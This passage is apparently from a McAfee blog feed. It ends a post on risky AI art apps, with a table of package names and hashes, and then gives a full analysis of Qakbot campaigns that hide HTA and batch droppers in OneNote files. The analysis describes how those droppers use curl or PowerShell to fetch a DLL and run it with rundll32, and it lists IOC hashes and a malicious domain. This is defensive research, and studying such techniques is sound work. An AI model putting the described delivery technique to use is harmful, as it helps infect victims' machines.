Even if an app is legitimate, we also encourage users to look closely before installation at any available privacy policy to understand how personal data will be treated.  Your face is a biometric identifier that’s not easy to change, and multiple pictures might be needed (and stored) to create your model.

Artificial intelligence tools will continue to amaze us with their capabilities and probably will become more accessible and safer to use over time.  For now, keep in mind that AI technology is still limited and experimental, and can be expensive to use – always consider any hidden costs.  AI also will bring more challenges as we discussed on the 2023 McAfee Threat Prediction blog.

IDENTIFIED APPS

The following table lists the application package name, hash sum SHA256, the minimum number of installations on Google Play, and the type of detected threat. These apps were removed from Google Play, but some may remain available elsewhere.

Package Name	SHA256	Installs	Type
com.ayogamez.sketchcartoon	9cb1d996643fbec26bb9878939735221dfbf639075ceea3abdb94e0982c494c1	5M	Adware
com.rocketboosterapps.toonifyme	3f45a38b103e1812146df8ce179182f54c4a0191e19560fcbd77240cbc39886b	10K	Fleeceware
com.nhatanhstudio.cartoon.photoeffect	2c7f4fc403d1449b70218624d8a409497bf4694493c7f4c06cd8ccecff21799a	5K	Repackaged Adware
com.cambe.PhotoCartoon	5327f415d0e9b21523f64403ec231e1fd0279c48b41f023160cd1d70dd733dbf	10K	Repackaged Adware
com.chiroh.cartoon.prismaeffect	18fef9f92639e31dd6566854feb30e1e4333b971b05ae9aba93ac0aa395c955b	1K	Repackaged Adware
cartoon.photo.effect.editor.cartoon.maker.online. caricature.appanime.convert.photo.intocartoon	3b941b7005572760b95239d73b8a8bbfdb81d26d405941171328daa8f3c01183	50	Repackaged Adware
com.waxwell.saunders.pistaphotoeditor	489d4aaec3bc694ddd124ab8b4f0b7621a51aad13598fd39cd5c3d2067b950e5	50	FaceStealer
com.ashtoon.tooncool.skordoi	980c090c01bef890ef74bd93e181d67a5c6cd1b091573eaaf2e1988756aacd50	100K	FaceStealer
com.faceart.savetoon.cartoonedit	55ffc2e392280e8967de0857b02946094268588209963c6146dad01ae537daca	100	FaceStealer
com.okenyo.creatkartoon.studio	e696d7304e5f56d7125dd54c853ff35a394a4175fcaf7785d332404e161d6deb	500K	FaceStealer
com.onlansuyanto.editor.bading	59f9630c2ebe4896f585ec7722c43bb54c926e3e915dcfa4ff807bea444dc07b	10K	FaceStealer
com.madtoon.aicartoon.kiroah	c29adfade300dde5e9c31b23d35a6792ed4a7ad8394d37b69b5cecc931a7ad9f	100K	FaceStealer
com.acetoon.studio.facephoto	24cf7fcaefe98bc9db34f551d11906d3f1349a5b60adf5fa37f15a872b61ee95	100K	FaceStealer
com.funcolornext.beautyfungoodcolor	b2cfa8b2eccecdcb06293512df0db463850704383f920e5782ee6c5347edc6f5	100K	Repackaged Adware

 

 

The post The Rise and Risks of AI Art Apps appeared first on McAfee Blog.

Authored By Anandeshwar Unnikrishnan,Sakshi Jaiswal,Anuradha M 

McAfee Labs has recently observed a new Malware campaign which used malicious OneNote documents to entice users to click on an embedded file to download and execute the Qakbot trojan. 

OneNote is a Microsoft digital notebook application that can be downloaded for free. It is a note-taking app that allows collaboration across organizations while enabling users to embed files and other artifacts. It is installed by default in Microsoft Office 2021 and Microsoft 365.   

Malicious Actors are always trying to find new ways in to infect their victims. Such as their shift to LNK files after Microsoft introduced a policy change disabled office macros by default. Due to a feature that allows users to attach files to OneNote documents it makes them a good alternative to LNK files as distribution vehicle to deploy their malware. This blog contains analysis on how OneNote documents are used malicious and two specific campaigns that made use of OneNote documents to download and execute the Qakbot malware.  

OneNote Campaigns in the wild 

Figure 1  shows the geo wise distribution of McAfee customers detecting malicious OneNote files. 

 Based on the telemetry from our endpoints we have identified the following threat families deployed through OneNote documents: 

• Iceid 
• Qakbot
• RedLine
• AsyncRat
• Remcos
• AgentTesla
• QuasarRAT
• XWORM
• Netwire
• Formbook
• Doubleback 

Overview Of Malicious OneNote Documents 

A holistic view of the phishing campaigns that weaponize OneNote document is shown in Figure 2 below.  The malicious document is delivered in either zip files or ISO images to the target through phishing emails. We have observed that most of the malicious documents either have Windows batch script that invokes Powershell for dropping the malware on the system or Visual Basic scripts that does the same.

The generic theme of the email is invoice or legal related. These types of themes are more likely to be opened by the vicim. An example email body and attachment is shown in Figure 3 and 4. 

A Deep Dive into OneNote File Format 

File Header 

To understand how the data is laid out in the file, we need to examine it at byte level. Taking a close look at OneNote document gives us an interesting observation as its magic bytes for the header is not a trivial one. Figure 5 shows the first 16 bytes of the document binary. 

The first 16 bytes need to be interpreted as GUID value {7B5C52E4-D88C-4DA7-AEB1-5378D02996D3}. We can use the official documentation for OneNote specification to make sense of all the bytes and its structuring. Figure 6 shows header information taken from the OneNote specification document. 

The Data Stream in OneNote, Say Hello To FileDataStoreObject 

To find the embedded data in a OneNote document, we need to learn more about the FileDataStoreObject which has a GUID value of {BDE316E7-2665-4511-A4C4-8D4D0B7A9EAC}. The structure that holds the data is shown below: 

• guidHeader (16 bytes) 
• Size: 16 bytes 
• Value: {BDE316E7-2665-4511-A4C4-8D4D0B7A9EAC} 
• cbLength 
• Size: 8 bytes 
• Value: Size of the data 
• unused 
• Size: 4 bytes 
• reserved 
• Size: 8 bytes 
• FileData 
• Size: Variable 
• guidFooter 
• Size: 16 bytes 
• Value: {71FBA722-0F79-4A0B-BB13-899256426B24} 

The FileData member of the FileDataStoreObject is the key member that holds the embedded data in the OneNote document. The size can be retrieved from the cbLength member. 

Figure 7 shows the “on disk” representation of the FileDataStoreObject  This is taken from a malicious OneNote document used to spread the Qakbot payload. The guidHeader for the data object is highlighted in yellow and the data is shown in red. As it is evident from the image the data represents a text file which is a script to launch PowerShell.  

For more information on the OneNote specification, go to reference section  

Artifact Extraction  

Now we have an idea of what the data object is, with this knowledge we can automate the process of extracting embedded artifacts for further analysis from the OneNote document by following the below algorithm. 

• Search for FileDataStoreObject GUID in the binary. 
• Interpret the FileDataStoreObject structure  
• Retrieve cbLength member (size of the data represented by FileDataStoreObject) 
• Read N bytes (cbLength) after Reserved 8 bytes in FileDataStoreObject. 
• Dump the bytes read on to disk 
• Repeat above steps for every FileDataStoreObject present in the binary

Embedded Executable Objects In OneNote  

Execution Of Embedded Entities  

Looking at the runtime characteristics of OneNote Desktop application we have observed that when an embedded file gets executed by the user, it is stored temporarily in the OneNote directory in the User’s Temp location. Each directory with GUID values represents a different document opened in the OneNote application. 

By analyzing numerous malicious documents, we have been able to create a “test” OneNote document that executes a batch file that contains the “whoami” command. The image in Figure  9 show the batch file being created in the user’s temp location. 

Qakbot Campaign 1: 

This section contains specific details on a Qakbot campaign. In campaign 1, the malware author used phishing emails to deliver malicious OneNote document either as attachment or a URL link to zip file containing the OneNote document. The OneNote contained aHTA file that once executed would make use of  the curl utility to download Qakbot and then execute it. 

Infection Flow: 

• Spam email delivers a malicious OneNote file as an attachment or a link to a ZIP file that contains a OneNote file. 
• OneNote file contains an embedded HTA  attachment and a fake message to lure users to execute the HTA  file 
• The HTA file uses curl utility to download the Qakbot payload and is executed by rundll32.exe. 

Technical Analysis: 

The OneNote file with the embedded HTA file is shown in the Figure 11. Once this OneNote file is opened, it prompts the user with a fake message to double-click on open to view the attachment. 

Upon clicking the Open button, it drops the HTA file with the name Open.hta to the %temp% Folder and executes it using mshta.exe. 

The HTA file contains obfuscated script as shown below: 

The HTA file is loaded by MSHTA and creates a registry key in HKEY_CURRENT_USER\SOFTWARE\ with obfuscated content as shown below: 

• The obfuscated registry is then read by MSHTA and the obfuscated code is de-obfuscated. The code is then initialized to a new function object as shown in Block1. 
• Finally, MSHTA calls this function by passing the malicious URL as a parameter and then deletes the registry key as shown in Block 2.

De-obfuscated content from the HTA file is shown below: 

• Curl is used to download the malicious DLL file in C:\ProgramData Folder with .png extension. The script will then execute the downloaded file with Rundll32.exe with the export function Wind.

• A fake error message is displayed after loading the downloaded payload and MSHTA is terminated.  

Figure 18 shows the process tree of Qakbot: 

IOCs: 

Type	Value	Product	Detected
Campain 1 – OneNote File	88c24db6c7513f47496d2e4b81331af60a70cf8fb491540424d2a0be0b62f5ea	Total Protection and LiveSafe	VBS/Qakbot.a
Campain 1 – HTA File	e85f2b92c0c2de054af2147505320e0ce955f08a2ff411a34dce69c28b11b4e4	Total Protection and LiveSafe	VBS/Qakbot.b
Campain 1 – DLL File	15789B9b6f09ab7a498eebbe7c63b21a6a64356c20b7921e11e01cd7b1b495e3	Total Protection and LiveSafe	Qakbot-FMZ

Campaign 2: 

Examining Malicious OneNote Documents 

The OneNote document for campaign 2 is shown in Figure 19. At first glance it it appears that there is a ‘Open’ button embedded within the document. The message above the ‘Open’ button instructs the user to “double click” in order to receive the attachment.

A closer look at the document reveals the graphical elements are all images placed in a layered style by the malicious actor. By moving the icons aside, we can see the malicious batch file which when executed downloads the payload from the Internet and executes on the target system. 

Execution Of Payload Dropper 

Upon execution of the batch file, Powershell will be invoked and it fetch the Qakbot payload from Internet and execute it on the target system. This section will cover details of dropper script used to deploy QakBot. The Figure 21 Show the process tree after the execution of the script and you can see that powershell.exe was launched by cmd.exe and the parent of cmd.exe is onenote.exe. 

The contents of process cmd.exe (7176) are shown below.  

The base64 decoded batch file is shown in Figure 23.  This will use powershell to download the payload and then execute it with rundll32.exe

 IOCS 

Type	Value	Product	Detected
Campain 2 – Zip File	000fb3799a741d80156c512c792ce09b9c4fbd8db108d63f3fdb0194c122e2a1	Total Protection and LiveSafe	VBS/Qakbot.a
Campain 2 – OneNote File	2bbfc13c80c7c6e77478ec38d499447288adc78a2e4b3f8da6223db9e3ac2d75	Total Protection and LiveSafe	One/Downloader.a
Campain 2 – Powershell File	b4dd3e93356329c076c0d2cd5ac30a806daf46006bdb81199355952e9d949424	Total Protection and LiveSafe	PS/Agent.gs
Campain 2 – OneNoteFile	a870d31caea7f6925f41b581b98c35b162738034d5d86c0c27c5a8d78404e860	Total Protection and LiveSafe	VBS/Qakbot.a

Domains: 

starcomputadoras.com 

Conclusion: 

Malware authors are getting more sophisticated when it comes to hiding their payloads. This Blog highlights the recent Qakbot campaign that delivers its payload which uses the OneNote application as a delivery mechanism. McAfee Customers should keep their systems up-to-date and refrain from clicking links and opening attachments in suspicious emails to stay protected. 

 References: 

https://learn.microsoft.com/en-us/openspecs/office_file_formats/ms-onestore/405b958b-4cb7-4bac-81cc-ce0184249670 

https://learn.microsoft.com/en-us/openspecs/office_file_formats/ms-onestore/8806fd18-6735-4874-b111-227b83eaac26 

The post The Rising Trend of OneNote Documents for Malware delivery appeared first on McAfee Blog.